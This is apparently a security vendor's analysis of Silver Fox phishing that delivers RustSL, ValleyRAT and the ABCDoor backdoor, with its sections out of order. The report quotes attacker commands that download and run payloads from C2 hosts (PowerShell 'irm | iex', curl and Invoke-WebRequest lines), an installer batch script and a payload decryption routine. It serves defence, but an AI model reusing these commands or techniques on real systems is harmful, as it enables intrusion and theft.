	"device_id": device_id,
	"install_channel": "<channel_name_from_registry>", # optional field 
	"first_install_time": "<install_time_from_registry>", # optional field
},
"version": 157 # hard-coded ABCDoor version

The code for retrieving the device identifier (device_id) in the backdoor is somewhat peculiar:

device_id = Utility.get_machine_guid_via_file_func()
device_id = Utility.get_machine_guid_via_reg()

First, the get_machine_guid_via_file_func function attempts to read an identifier from the file %LOCALAPPDATA%\applogs\device.log. If the file does not exist, it is created and initialized with a random UUID4 value. However, immediately after this, the get_machine_guid_via_reg function overwrites the identifier obtained by the first function with the value from HKLM:\SOFTWARE\Microsoft\Cryptography:MachineGuid. This likely indicates a bug in the code.

The primary characteristic of this backdoor is the absence of typical remote control features, such as creating a remote shell or executing arbitrary commands. Instead, it implements two alternative methods for manipulating the infected device:

  • Emulating a double click while broadcasting the victim’s screen
  • A "file_open" message within the FileManager class, which calls the os.startfile function. This executes a specified file using the ShellExecute function and the default handler for that file extension

For screen broadcasting, the backdoor utilizes a standalone ffmpeg.exe file included in the ABCDoor archive. While early versions could only stream from a single monitor, recent iterations have introduced support for streaming up to four monitors simultaneously using the Desktop Duplication API (DDA). The broadcasting process relies on the screen capture functions RemoteControl::ScreenRecorder::start_single_monitor_ddagrab, RemoteControl::ScreenRecorder::start_multi_monitor_ddagrab, and RemoteControl::ScreenRecorder::test_ddagrab_support. These functions generate a lengthy string of launch arguments for ffmpeg; these arguments account for monitor orientation (vertical or horizontal) and quantity, stitching the data into a single, cohesive stream.

Because ABCDoor runs within a legitimate pythonw.exe process, it can remain hidden on a victim’s system for extended periods. However, its operation involves various interactions with the registry and file system that can be used for detection. Specifically, ABCDoor:

  • Writes its initial installation timestamp to the registry value HKCU:\Software\CarEmu:FirstInstallTime
  • Creates the directory and file %LOCALAPPDATA%\applogs\device.log to store the victim’s ID
  • Logs any exceptions to %LOCALAPPDATA%\applogs\exception_logs.zip. Interestingly, Silver Fox even implemented a Utility::upload_exception_logs function to send this archive to a specified URI, likely to help debug and refine the malware’s performance

Additionally, ABCDoor features self-update and self-deletion capabilities that generate detectable artifacts. Updates are downloaded from a specific URI to %TEMP%\tmpXXXXXXXX\update.zip (where XXXXXXXX represents random alphanumeric characters), extracted to %TEMP%\tmpXXXXXXXX\update, and executed via a PowerShell command:

powershell -Command "Start-Sleep -Seconds 5; Start-Process -FilePath \"%TEMP%\tmpXXXXXXXX\update\update.ps1\" -ArgumentList \"%LOCALAPPDATA%\appclient\" -WindowStyle Hidden"

The existing ABCDoor process is then forcibly terminated.

ABCDoor versions

Through retrospective analysis, we discovered that the earliest version of ABCDoor (MD5: 5b998a5bc5ad1c550564294034d4a62c) surfaced in late 2024. The backdoor evolved rapidly throughout 2025. The table below outlines the primary stages of its evolution:

Version Compiled date (UTC) Key updates ABCDoor .pyd MD5 hash
121 2024.12.19 18:27:11 –  Minimal functionality (file downloads, remote control using the Graphics Device Interface (GDI) in ffmpeg)
–  No OOP used
–  Registry persistence
5b998a5bc5ad1c550564294034d4a62c
143 2025.02.04 01:15:00 Client updates
–  Task scheduler persistence
–  OOP implementation (classes)
–  Clipboard management
–  Process management
–  Asymmetric file and directory encryption
c50c980d3f4b7ed970f083b0d37a6a6a
152 2025.04.01 15:39:36 –  DPAPI encryption functions
–  Chunked file uploading to C2
de8f0008b15f2404f721f76fac34456a
154 2025.05.09 13:36:24 –  Implementation of installation channels
–  Key combination emulation
9bf9f635019494c4b70fb0a7c0fb53e4
156 2025.08.11 13:36:10 –  Retrieval and logging of initial installation time to the registry a543b96b0938de798dd4f683dd92a94a
157 2025.08.28 14:23:57 –  Use of DDA source in ffmpeg for monitor screen broadcasting fa08b243f12e31940b8b4b82d3498804
157 2025.09.23 11:38:17 –  Compiled with Cython 3.0.7 (previous version used Cython 3.0.12) 13669b8f2bd0af53a3fe9ac0490499e5

Evolution of ABCDoor distribution methods

Although the first version of the backdoor appeared in late 2024, the threat actor likely began using it in attacks around February or March 2025. At that time, the backdoor was distributed using stagers written in C++ and Go:

    • C++ stagerThe file GST Suvidha.exe (MD5: 04194f8ddd0518fd8005f0e87ae96335) downloaded a loader (MD5: f15a67899cfe4decff76d4cd1677c254) from hxxps://mcagov[.]cc/download.php?type=exe. This loader then downloaded the ABCDoor archive from hxxps://abc.fetish-friends[.]com/uploads/appclient.zip, extracted it, and executed it.
    • Go stagerThe file GSTSuvidha.exe (MD5: 11705121f64fa36f1e9d7e59867b0724) executed a remote PowerShell script:
      powershell.exe -Command "irm hxxps://abc.fetish-friends[.]com/setup/install | iex"

      This script downloaded the ABCDoor archive and launched it.

Later, from May to August 2025, Silver Fox varied their delivery techniques through several methods:

      • Utilizing TinyURL:Stagers initially queried TinyURL links, which then redirected to the full addresses for downloading the next stage:
        • hxxps://tinyurl[.]com/4nzkync8 -> hxxps://roldco[.]com/api/download/c51bbd17-ef08-4d6c-ab4c-d7bf49483dd6
        • hxxps://tinyurl[.]com/bde63yuu -> hxxps://sudsmama[.]com/api/download/c8ea0a2c-42c2-4159-9337-ee774ed5e7cb
      • Utilizing URLs with arguments formatted as channel=[word_MMDD]:
      • hxxps://abc.fetish-friends[.]com/setup?channel=jiqi_0819
      • hxxps://abc.fetish-friends[.]com/setup/install?channel=whatsapp_0826
      • hxxps://abc.fetish-friends[.]com/setup/install?channel=dianhua-0903

Thanks to these “channel” names, we identified overlaps between ABCDoor and other malicious files likely belonging to Silver Fox. These are NSIS installers featuring the branding of the Ministry of Corporate Affairs of India (responsible for regulating industrial companies and the services sector). These installers establish a connection to the attackers’ server at hxxps://vnc.kcii2[.]com, providing them with remote access to the victim’s device. Below is the list of files we identified:

      • RemoteInstaller_20250803165259_whatsapp.exe (MD5: 4d343515f4c87b9a2ffd2f46665d2d57)
      • RemoteInstaller_20250806_004447_jiqi.exe (MD5: dfc64dd9d8f776ca5440c35fef5d406e)
      • RemoteInstaller_20250808_174554_dianhua.exe (MD5: eefc28e9f2c0c0592af186be8e3570d2)
      • MCA-Ministry.exe (MD5: 6cf382d3a0eae57b8baaa263e4ed8d00)
      • MCA-Ministry.exe (MD5: 32407207e9e9a0948d167dca96c41d1a)
      • MCA-Ministry.exe (MD5: d17caf6f5d6ba3393a3a865d1c43c3d2)

The file MCA-Ministry.exe (MD5: 32407207e9e9a0948d167dca96c41d1a) was also hosted on one of the servers used by the ABCDoor stagers and was downloaded via TinyURL:

hxxps://tinyurl[.]com/322ccxbf -> hxxps://sudsmama.com/api/download/50e24b3a-8662-4d2f-9837-8cc62aa8f697

Starting in November 2025, the attackers began using a JavaScript loader to deliver ABCDoor. This was distributed via self-extracting (SFX) archives, which were further packaged inside ZIP archives:

      • CBDT.zip (MD5: 6495c409b59deb72cfcb2b2da983b3bb) (Related material.exe)
      • November Statement.zip (MD5: b500e0a8c87dffe6f20c6e067b51afbf) (BillReceipt.exe)
      • December Statement.zip (MD5: 814032eec3bc31643f8faa4234d0e049) (statement.exe)
      • December Statement.zip (MD5: 90257aa1e7c9118055c09d4a978d4bee) (statement verify .exe)
      • Statement of Account.zip (MD5: f8371097121549feb21e3bcc2eeea522) (Review the file.exe)

The ZIP archives were likely distributed through phishing emails. They contained one of two SFX files: BillReceipt.exe (MD5: 2b92e125184469a0c3740abcaa10350c) or Review the file.exe (MD5: 043e457726f1bbb6046cb0c9869dbd7d), which differed only in their icons.

Icons of the SFX archives

Icons of the SFX archives

When executed, the SFX archive ran the following script:

SFX archive script

SFX archive script

This script launched run_direct.ps1, a PowerShell script contained within the archive.

The run_direct.ps1 script

The run_direct.ps1 script

The run_direct.ps1 script checked for the presence of NodeJS in the standard directory on the victim’s computer (%USERPROFILE%\.node\node.exe). If it was not found, the script downloaded the official NodeJS version 22.19.0, extracted it to that same folder, and deleted the archive. It then executed run.deobfuscated.obf.js – also located in the SFX archive – using the identified (or newly installed) NodeJS, passing two parameters to it: an encrypted configuration string and a XOR key for decryption:

Decrypted configuration for the JS loader

Decrypted configuration for the JS loader

The JS code being executed is heavily obfuscated (likely using obfuscate.io). Upon execution, it writes the channel parameter value from the configuration to the registry at HKCU:\Software\CarEmu:InstallChannel as a REG_SZ type. It then downloads an archive from the link specified in the zipUrl parameter and saves it to %TEMP%\appclient_YYYYMMDDHHMMSS.zip (or /tmp on Linux). The script extracts this archive to the %USERPROFILE%\AppData\Local\appclient directory (%HOME%/AppData/Local/appclient on Linux) and launches it by running cmd /c start /min python/pythonw.exe -m appclient in background mode with a hidden window. After extraction, the script deletes the ZIP archive.

Additionally, the code calls a console logging function after nearly every action, describing the operations in Chinese:

Log fragments gathered from throughout the JS code

Log fragments gathered from throughout the JS code

Victims

As previously mentioned, Silver Fox RustSL loaders are configured to operate in specific countries: Russia, India, Indonesia, South Africa, and Cambodia. The most recent versions of RustSL have also added Japan to this list. According to our telemetry, users in all of these countries – with the exception of Cambodia – have encountered RustSL. We observed the highest number of attacks in India, Russia, and Indonesia.

Distribution of RustSL loader attacks by country, as a percentage of the total number of detections (download)

The majority of loader samples we discovered were contained within archives with tax-related filenames. Consequently, we can attribute these attacks to a single campaign with a high degree of confidence. That Silver Fox has been sending emails on behalf of the tax authorities in Japan has also been reported by our industry peers.

Conclusion

In the campaign described in this post, attackers exploited user trust in official tax authority communications by disguising malicious files as documents on tax violations. This serves as another reminder of the critical need for vigilance and the thorough verification of all emails, even those purportedly from authoritative sources. We recommend that organizations improve employee security awareness through regular training and educational courses.

During these attacks, we observed the use of both established Silver Fox tools, such as ValleyRAT, and new additions – including a customized version of the RustSL loader and the previously undocumented ABCDoor backdoor. The attackers are also expanding their geographic focus: Russian organizations became a primary target in this campaign, and Japan was added to the supported country list in the malware’s configuration. Theoretically, the group could add other countries to this list in the future.

The Silver Fox group employs a multi-stage approach to payload delivery and utilizes a segmented infrastructure, using different addresses and domains for various stages of the attack. These techniques are designed to minimize the risk of detection and prevent the blocking of the entire attack chain. To identify such activity in a timely manner, organizations should adopt a comprehensive approach to securing their infrastructure.

Detection by Kaspersky solutions

Kaspersky security solutions successfully detect malicious activity associated with the attacks described in this post. Let’s look at several detection methods using Kaspersky Endpoint Detection and Response Expert.

The activity of the malware described in this article can be detected when the command interpreter, while executing commands from a suspicious process, initiates a covert request to external resources to download and install the Node.js interpreter. KEDR Expert detects this activity using the nodejs_dist_url_amsi rule.

Silver Fox activity can also be detected by monitoring requests to external services to determine the host’s network parameters. The attacker performs these actions to obtain the external IP address and analyze the environment. The KEDR Expert solution detects this activity using the access_to_ip_detection_services_from_nonbrowsers rule.

After running the command cmd /c start /min python/pythonw.exe -m appclient, the Silver Fox payload establishes persistence on the system by modifying the value of the UserInitMprLogonScript parameter in the HKCU\Environment registry key. This allows attackers to ensure that malicious scripts run when the user logs in. Such registry manipulations can be detected. The KEDR Expert solution does this using the persistence_via_environment rule.

Indicators of compromise

Network indicators:
ABCDoor C2
45.118.133[.]203:5000
abc.fetish-friends[.]com
abc.3mkorealtd[.]com
abc.sudsmama[.]com
abc.woopami[.]com
abc.ilptour[.]com
abc.petitechanson[.]com
abc.doublemobile[.]com

ABCDoor loader C2s
mcagov[.]cc
roldco[.]com

C2s for malicious remote control utilities
vnc.kcii2[.]com

Distribution servers for phishing PDFs, archives, and encrypted RustSL payloads
abc.haijing88[.]com

ValleyRAT C2
108.187.37[.]85
108.187.42[.]63
207.56.138[.]28

IP addresses
108.187.41[.]221
154.82.81[.]192
139.180.128[.]251
192.229.115[.]229
207.56.119[.]216
192.163.167[.]14
45.192.219[.]60
192.238.205[.]47
45.32.108[.]178
57.133.212[.]106
154.82.81[.]205

Hashes
Phishing PDF files
1AA72CD19E37570E14D898DFF3F2E380
79CD56FC9ABF294B9BA8751E618EC642
0B9B420E3EDD2ADE5EDC44F60CA745A2
6611E902945E97A1B27F322A50566D48
84E54C3602D8240ED905B07217C451CD

SFX archives containing ABCDoor JavaScript loader
2B92E125184469A0C3740ABCAA10350C
043E457726F1BBB6046CB0C9869DBD7D

ZIP archives containing malicious SFX archives
6495C409B59DEB72CFCB2B2DA983B3BB
B500E0A8C87DFFE6F20C6E067B51AFBF
90257AA1E7C9118055C09D4A978D4BEE
F8371097121549FEB21E3BCC2EEEA522
814032EEC3BC31643F8FAA4234D0E049

run.deobfuscated.obf.js
B53E3CC11947E5645DFBB19934B69833

run_direct.ps1
0C3B60FFC4EA9CCCE744BFA03B1A3556

Silver Fox RustSL loaders
039E93B98EF5E329F8666A424237AE73
B6DF7C59756AB655CA752B8A1B20CFFA
5390E8BF7131CAAAA98A5DD63E27B2BC
44299A368000AE1EE9E9E584377B8757
E5E8EF65B4D265BD5FB77FE165131C2F
3279307508F3E5FB3A2420DEC645F583
1020497BEF56F4181AEFB7A0A9873FB4
B23D302B7F23453C98C11CA7B2E4616E
A234850DFDFD7EE128F648F9750DD2C4
4FC5EC1DE89CE3FCDD3E70DB4A9C39D1
A0D1223CA4327AA5F7674BDA8779323F
70AE9CA2A285DA9005A8ACB32DD31ACE
DD0114FFACC6610B5A4A1CB0E79624CC
891DE2FF486A1824F2DB01C1BDF1D2E9
B0E06925DB5416DFC90BABF46402CD6F
AD39A5790B79178D02AC739099B8E1F4
D1D78CD1436991ADB9C005CC7C6B5B98
2C5A1DD4CB53287FE0ED14E0B7B7B1B7
E6362A81991323E198A463A8CE255533
CB3D86E3EC2736EE1C883706FCA172F8
A083C546DC66B0F2A5E0E2E68032F62C
70016DDBCB8543BDB06E0F8C509EE980
8FC911CA37F9F451A213B967F016F1F8
202A5BCB87C34993318CFA3FA0C7ECB0
06130DC648621E93ACB9EFB9FABB9651
F7037CC9A5659D5A1F68E88582242375
8AC5BEE89436B29F9817E434507FEF55
5ED84B2099E220D645934E1FD552AE3A
27A3C439308F5C4956D77E23E1AAD1A9
53B68CA8D7A54C15700CF9500AE4A4E2
1D1F71936DB05F67765F442FEB95F3FD
3C6AEC25EBB2D51E1F16C2EEF181C82A
7F27818E4244310A645984CCC41EA818
A75713F0310E74FFD24D91E5731C4D31
4FC8C78516A8C2130286429686E200ED
3417B9CF7ACB22FAE9E24603D4DE1194
933F1CB8ED2CED5D0DD2877C5EA374E8
B5CA812843570DCF8E7F35CACAB36D4A

ValleyRAT plugins installing ABCDoor
4A5195A38A458CDD2C1B5AB13AF3B393
E66BAE6E8621DB2A835FA6721C3E5BBE

ABCDoor stagers and loaders
04194F8DDD0518FD8005F0E87AE96335
F15A67899CFE4DECFF76D4CD1677C254
11705121F64FA36F1E9D7E59867B0724

Malicious VNC installers used in August 2025 attacks
4D343515F4C87B9A2FFD2F46665D2D57
DFC64DD9D8F776CA5440C35FEF5D406E
EEFC28E9F2C0C0592AF186BE8E3570D2
6CF382D3A0EAE57B8BAAA263E4ED8D00
32407207E9E9A0948D167DCA96C41D1A
D17CAF6F5D6BA3393A3A865D1C43C3D2

ABCDoor .pyd files
13669B8F2BD0AF53A3FE9AC0490499E5
5B998A5BC5AD1C550564294034D4A62C
C50C980D3F4B7ED970F083B0D37A6A6A
DE8F0008B15F2404F721F76FAC34456A
9BF9F635019494C4B70FB0A7C0FB53E4
A543B96B0938DE798DD4F683DD92A94A
FA08B243F12E31940B8B4B82D3498804

Silver Fox uses the new ABCDoor backdoor to target organizations in Russia and India

In December 2025, we detected a wave of malicious emails designed to look like official correspondence from the Indian tax service. A few weeks later, in January 2026, a similar campaign began targeting Russian organizations. We have attributed this activity to the Silver Fox threat group.

Both waves followed a nearly identical structure: phishing emails were styled as official notices regarding tax audits or prompted users to download an archive containing a “list of tax violations”. Inside the archive was a modified Rust-based loader pulled from a public repository. This loader would download and execute the well-known ValleyRAT backdoor. The campaign impacted organizations across the industrial, consulting, retail, and transportation sectors, with over 1600 malicious emails recorded between early January and early February.

During our investigation, we also discovered that the attackers were delivering a new ValleyRAT plugin to victim devices, which functioned as a loader for a previously undocumented Python-based backdoor. We have named this backdoor ABCDoor. Retrospective analysis reveals that ABCDoor has been part of the Silver Fox arsenal since at least late 2024 and has been utilized in real-world attacks from the first quarter of 2025 to the present day.

Email campaign

In the January campaign, victims received an email purportedly from the tax service with an attached PDF file.

Phishing email sent to victims in Russia

Phishing email sent to victims in Russia

The PDF contained two clickable links to download an archive, both leading to a malicious website: abc.haijing88[.]com/uploads/фнс/фнс.zip.

Contents of the PDF file from the January phishing wave

Contents of the PDF file from the January phishing wave

Contents of the фнс.zip archive

Contents of the фнс.zip archive

In the December campaign, the malicious code was embedded directly within the files attached to the email.

Phishing email sent to victims in India

Phishing email sent to victims in India

The email shown in the screenshot above was sent via the SendGrid cloud platform and contained an archive named ITD.-.rar. Inside was a single executable file, Click File.exe, with an Adobe PDF icon (the RustSL loader).

Contents of ITD.-.rar

Contents of ITD.-.rar

Additionally, in late December, emails were distributed with an attachment titled GST.pdf containing two links leading to hxxps://abc.haijing88[.]com/uploads/印度邮箱/CBDT.rar. (印度邮箱 translates from Chinese as “Indian mailbox”).

PDF file from the phishing email

PDF file from the phishing email

Both versions of the campaign attempt to exploit the perceived importance of tax authority correspondence to convince the victim to download the document and initiate the attack chain. The method of using download links within a PDF is specifically designed to bypass email security gateways; since the attached document only contains a link that requires further analysis, it has a higher probability of reaching the recipient compared to an attachment containing malicious code.

RustSL loader

The attackers utilized a modified version of a Rust-based loader called RustSL, whose source code is publicly available on GitHub with a description in Chinese:

Screenshot of the description from the RustSL loader GitHub project

Screenshot of the description from the RustSL loader GitHub project

The description also refers to RustSL as an antivirus bypass framework, as it features a builder with extensive customization options:

  • Eight payload encryption methods
  • Thirteen memory allocation methods
  • Twelve sandbox and virtual machine detection techniques
  • Thirteen payload execution methods
  • Five payload encoding methods

Furthermore, the original version of RustSL encrypts all strings by default and inserts junk instructions to complicate analysis.

The Silver Fox APT group first began using a modified version of RustSL in late December 2025.

Silver Fox RustSL

This section examines the key changes the Silver Fox group introduced to RustSL. We will refer to this customized version as Silver Fox RustSL to distinguish it from the original.

The steganography.rs module

The attackers added a module named steganography.rs to RustSL. Despite the name, it has little to do with actual steganography; instead, it implements the unpacking logic for the malicious payload.

The usage of the new module within the Silver Fox RustSL code

The usage of the new module within the Silver Fox RustSL code

The threat actors also modified the RustSL builder to support the new format and payload packing.

The attackers employed several methods to deliver the encrypted malicious payload. In December, we observed files being downloaded from remote hosts followed by delivery within the loader itself. Later, the attackers shifted almost entirely to placing the malicious payload inside the same archive as the loader, disguised as a standalone file with extensions like PNG, HTM, MD, LOG, XLSX, ICO, CFG, MAP, XML, or OLD.

Encrypted malicious payload format

The encrypted payload file delivered by the Silver Fox RustSL loader followed this structure:

<RSL_START>rsl_encrypted_payload<RSL_END>

If additional payload encoding was selected in the builder, the loader would decode the data before proceeding with decryption.

The rsl_encrypted_payload followed this specific format:

char sha256_hash[32]; // decrypted payload hash
DWORD enc_payload_len;
WORD sgn_decoder_size;
char sgn_iterations;
char sgn_key;
char decoder[sgn_decoder_size];
char enc_payload[enc_payload_len];

Below is a description of the data blocks contained within it:

  • sha256_hash: the hash of the decrypted payload. After decryption, the loader calculates the SHA256 hash and compares it against this value; if they do not match, the process terminates.
  • enc_payload_len: the size of the encrypted payload
  • sgn_iterations and sgn_key: parameters used for decryption
  • sgn_decoder_size and decoder: unused fields
  • enc_payload: the primary payload

Notably, the new proprietary steganography.rs module was implemented using the same logic as the public RustSL modules (such as ipv4.rs, ipv6.rs, mac.rs, rc4.rs, and uuid.rs in the decrypt directory). It utilized a similar payload structure where the first 32 bytes consist of a SHA-256 hash and the payload size.

To decrypt the malicious payload, steganography.rs employed a custom XOR-based algorithm. Below is an equivalent implementation in Python:

def decrypt(data: bytes, sgn_key: int, sgn_iterations: int) -> bytes:
    buf = bytearray(data)
    xor_key = sgn_key & 0xFF

    for _ in range(sgn_iterations):
        k = xor_key
        for i in range(len(buf)):
            dec = buf[i] ^ k

            if k & 1:
                k = (dec ^ ((k >> 1) ^ 0xB8)) & 0xFF
            else:
                k = (dec ^ (k >> 1)) & 0xFF

            buf[i] = dec

    return bytes(buf)

The unpacking process consists of the following stages:

  1. Extraction of rsl_encrypted_payload.The loader extracts the encrypted payload body located between the <RSL_START> and <RSL_END> markers.

    Original file containing the encrypted malicious payload

    Original file containing the encrypted malicious payload

  2. XOR decryption with a hardcoded key.Most loaders used the hardcoded key RSL_STEG_2025_KEY.
  3. Payload decoding occurs if the corresponding setting was enabled in the builder.The GitHub version of the builder offers several encoding options: Base64, Base32, Hex, and urlsafe_base64. Silver Fox utilized each option at least once. Base64 was the most frequent choice, followed by Hex and Base32, with urlsafe_base64 appearing in a few samples.

    Encrypted malicious payload prior to the final decryption stage

    Encrypted malicious payload prior to the final decryption stage

  4. Decryption of the final payload using a multi-pass XOR algorithm that modifies the key after each iteration (as demonstrated in the Python algorithm provided above).

The guard.rs module

Another module added to Silver Fox RustSL is guard.rs. It implements various environment checks and country-based geofencing.

In the earliest loader samples from late December 2025, the Silver Fox group utilized every available method for detecting virtual machines and sandboxes, while also verifying if the device was located in a target country. In later versions, the group retained only the geolocation check; however, they expanded both the list of countries allowed for execution and the services used for verification.

The GitHub version of the loader only includes China in its country list. In customized Silver Fox loaders built prior to January 19, 2026, this list included India, Indonesia, South Africa, Russia, and Cambodia. Starting with a sample dated January 19, 2026 (MD5: e6362a81991323e198a463a8ce255533), Japan was added to the list.

To determine the host country, Silver Fox RustSL sends requests to five public services:

  • ip-api.com (the GitHub version relies solely on this service)
  • ipwho.is
  • ipinfo.io
  • ipapi.co
  • www.geoplugin.net

Phantom Persistence

We discovered that a loader compiled on January 7, 2026 (MD5: 2c5a1dd4cb53287fe0ed14e0b7b7b1b7), began to use the recently documented Phantom Persistence technique to establish persistence. This method abuses functionality designed to allow applications requiring a reboot for updates to complete the installation process properly. The attackers intercept the system shutdown signal, halt the normal shutdown sequence, and trigger a reboot under the guise of an update for the malware. Consequently, the loader forces the system to execute it upon OS startup. This specific sample was compiled in debug mode and logged its activity to rsl_debug.log, where we identified strings corresponding to the implementation of the Phantom Persistence technique:

[unix_timestamp] God-Tier Telemetry Blinding: Deployed via HalosGate Indirect Syscalls.
[unix_timestamp] RSL started in debug mode.
[unix_timestamp] ==========================================
[unix_timestamp]     Phantom Persistence Module (Hijack Mode) 
[unix_timestamp] ==========================================
[unix_timestamp] [*] Calling RegisterApplicationRestart...
[unix_timestamp] [+] RegisterApplicationRestart succeeded.
[unix_timestamp] [*] Note: This API mainly works for application crashes, not for user-initiated shutdowns.
[unix_timestamp] [*] For full persistence, you need to trigger the shutdown hijack logic.
[unix_timestamp] [*] Starting message thread to monitor shutdown events...
[unix_timestamp] [+] SetProcessShutdownParameters (0x4FF) succeeded.
[unix_timestamp] [+] Window created successfully, message loop started.
[unix_timestamp] [+] Phantom persistence enabled successfully.
[unix_timestamp] [*] Hijack logic: Shutdown signal -> Abort shutdown -> Restart with EWX_RESTARTAPPS.
[unix_timestamp] Phantom persistence enabled.
[unix_timestamp] Mouse movement check passed.
[unix_timestamp] IP address check passed.
[unix_timestamp] Pass Sandbox/VM detection.

Attack chain and payloads

During this phishing campaign, Silver Fox utilized two primary methods for delivering malicious archives:

  • As an email attachment
  • Via a link to an external attacker-controlled website contained within a PDF attachment

We also observed three different ways the payload was positioned relative to the loader:

  • Embedded within the loader body
  • Hosted on an external website as a PNG image
  • Placed within the same archive as the loader

The diagram below illustrates the attack chain using the example of an email containing a PDF file and the subsequent delivery of a malicious payload from an external attacker-controlled website.

Attack chain of the campaign utilizing the RustSL loader

Attack chain of the campaign utilizing the RustSL loader

The infection chain begins when the user runs an executable file (the Silver Fox modification of the RustSL loader) disguised with a PDF or Excel icon. RustSL then loads an encrypted payload, which functions as shellcode. This shellcode then downloads an encrypted ValleyRAT (also known as Winos 4.0) backdoor module named 上线模块.dll from the attackers’ server. The filename translates from Chinese as “online-module.dll”, so for the sake of clarity, we’ll refer to it as the Online module.

Beginning of the decrypted payload: shellcode for loading the ValleyRAT (Winos 4.0) Online module

Beginning of the decrypted payload: shellcode for loading the ValleyRAT (Winos 4.0) Online module

The Online module proceeds to load the core component of ValleyRAT: the Login module (the original filename 登录模块.dll_bin translates from Chinese as “login-module.dll_bin”). This module manages C2 server communication, command execution, and the downloading and launching of additional modules.

The initial shellcode, as well as the Online and Login modules, utilize a configuration located at the end of the shellcode:

End of the decrypted payload: ValleyRAT (Winos 4.0) configuration

End of the decrypted payload: ValleyRAT (Winos 4.0) configuration

The values between the “|” delimiters are written in reverse order. By restoring the correct character sequence, we obtain the following string:

|p1:207.56.138[.]28|o1:6666|t1:1|p2:127.0.0.1|o2:8888|t2:1|p3:127.0.0.1|o3:80|t3:1|dd:1|cl:1|fz:飘诈|bb:1.0|bz:2025.11.16|jp:0|bh:0|ll:0|dl:0|sh:0|kl:0|bd:0|

The key configuration parameters in this string are:

  • p#, o#: IP addresses and ports of the ValleyRAT C2 servers in descending order of priority
  • bz: the creation date of the configuration

The Silver Fox group has long employed the infection chain described above – from the encrypted shellcode through the loading of the Login module – to deploy ValleyRAT. This procedure and its configuration parameters are documented in detail in industry reports: (1, 2, and 3).

Once the Login module is running, ValleyRAT enters command-processing mode, awaiting instructions from the C2. These commands include the retrieval and execution of various additional modules.

ValleyRAT utilizes the registry to store its configurations and modules:

Registry key Description
HKCU:\Console\0 For x86-based modules
HKCU:\Console\1 For x64-based modules
HKCU:\Console\IpDate Hardcoded registry location checked upon Login module startup
HKCU:\Software\IpDates_info Final configuration

The ValleyRAT builder leaked in March 2025 contained 20 primary and over 20 auxiliary modules. During this specific phishing campaign, we discovered that after the main module executed, it loaded two previously unseen modules with similar functionality. These modules were responsible for downloading and launching a previously undocumented Python-based backdoor we have dubbed ABCDoor.

Custom ValleyRAT modules

The discovered modules are named 保86.dll and 保86.dll_bin. Their parameters are detailed in the table below.

HKCU:\Console\0 registry key value Module name Library MD5 hash Compiled date and time (UTC)
fc546acf1735127db05fb5bc354093e0 保86.dll 4a5195a38a458cdd2c1b5ab13af3b393 2025-12-04 04:34:31
fc546acf1735127db05fb5bc354093e0 保86.dll e66bae6e8621db2a835fa6721c3e5bbe 2025-12-04 04:39:32
2375193669e243e830ef5794226352e7 保86.dll_bin e66bae6e8621db2a835fa6721c3e5bbe 2025-12-04 04:39:32

Of particular note is the PDB path found in all identified modules: C:\Users\Administrator\Desktop\bat\Release\winos4.0测试插件.pdb. In Chinese, 测试插件 translates to “test plugin”, which may suggest that these modules are still in development.

Upon execution, the 保86.dll module determines the host country by querying the same five services used by the guard.rs module in Silver Fox RustSL: ipinfo.io, ip-api.com, ipapi.co, ipwho.is, and geoplugin.net. For the module to continue running, the infected device must be located in one of the following countries:

Countries where the 保86.dll module functions

Countries where the 保86.dll module functions

If the geolocation check passes, the module attempts to download a 52.5 MB archive from a hardcoded address using several methods. The sample with MD5 4a5195a38a458cdd2c1b5ab13af3b393 queried hxxp://154.82.81[.]205/YD20251001143052.zip, while the sample with MD5 e66bae6e8621db2a835fa6721c3e5bbe queried
hxxp://154.82.81[.]205/YN20250923193706.zip.

Interestingly, Silver Fox updated the YD20251001143052.zip archive multiple times but continued to host it on the same C2 (154.82.81[.]205) without changing the filename.

The module implements the following download methods:

  1. Using the InternetReadFile function with the User-Agent PythonDownloader
  2. Using the URLDownloadToFile function
  3. Using PowerShell:
    powershell.exe -Command "& {[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12; [System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}; $ProgressPreference = 'SilentlyContinue'; try { Invoke-WebRequest -Uri 'hxxp://154.82.81[.]205/YD20251001143052.zip' -OutFile '$appdata\appclient\111.zip' -UseBasicParsing -TimeoutSec 600 } catch { exit 1 } }"
  4. Using curl:
    curl.exe -L -o "%LOCALAPPDATA%\appclient\111.zip" "hxxp://154.82.81[.]205/YD20251001143052.zip" --silent --show-error --insecure --max-time 600

The archive was saved to the path %LOCALAPPDATA%\appclient\111.zip.

Contents of the 111.zip archive

Contents of the 111.zip archive

The archive is quite large because the python directory contains a Python environment with the packages required to run the previously unknown ABCDoor backdoor (which we will describe in the next section), while the ffmpeg directory includes ffmpeg.exe, a statically linked, legitimate audio/video tool that the backdoor uses for screen capturing.

Once downloaded, the DLL module extracts the archive using COM methods and runs the following command to execute update.bat:

cmd.exe /c "C:\Users\<user>\AppData\Local\appclient\update.bat"

The update.bat script copies the extracted files to C:\ProgramData\Tailscale. This path was chosen intentionally: it corresponds to the legitimate utility Tailscale (a mesh VPN service based on the WireGuard protocol that connects devices into a single private network). By mimicking a VPN service, the attackers likely aim to mask their presence and complicate the analysis of the compromised system.

@echo off
set "script_dir=%~dp0"
set SRC_DIR=%script_dir%
set DES_DIR=C:\ProgramData\Tailscale

rmdir /s /q "%DES_DIR%"
mkdir "%DES_DIR%"
call :recursiveCopy "%SRC_DIR%" "%DES_DIR%"

start "" /B "%DES_DIR%\python\pythonw.exe" -m appclient
exit /b

:recursiveCopy
set "src=%~1"
set "dest=%~2"
if not exist "%dest%" mkdir "%dest%"
for %%F in ("%src%\*") do (
    copy "%%F" "%dest%" >nul
)
for /d %%D in ("%src%\*") do (
    call :recursiveCopy "%%D" "%dest%\%%~nxD"
)
exit /b

Contents of update.bat
After copying the files, the script launches the appclient Python module using the legitimate pythonw tool:
start "" /B "%DES_DIR%\python\pythonw.exe" -m appclient

ABCDoor Python backdoor

The primary entry point for the appclient module, the __main__.py file, contains only a few lines of code. These lines are responsible for utilizing the setproctitle library and executing the run function, to which the C2 address is passed as a parameter.

Code for main.py: the module entry point

Code for main.py: the module entry point

The setproctitle library is primarily used on Linux or macOS systems to change a displayed process name. However, its functionality is significantly limited on Windows; rather than changing the process name itself, it creates a named object in the format python(<pid>): <proctitle>. For example, for the appclient module, this object would appear as follows:

\Sessions\1\BaseNamedObjects\python(8544): AppClientABC

We believe the use of setproctitle may indicate the existence of backdoor versions for non-Windows systems, or at least plans to deploy it in such environments.
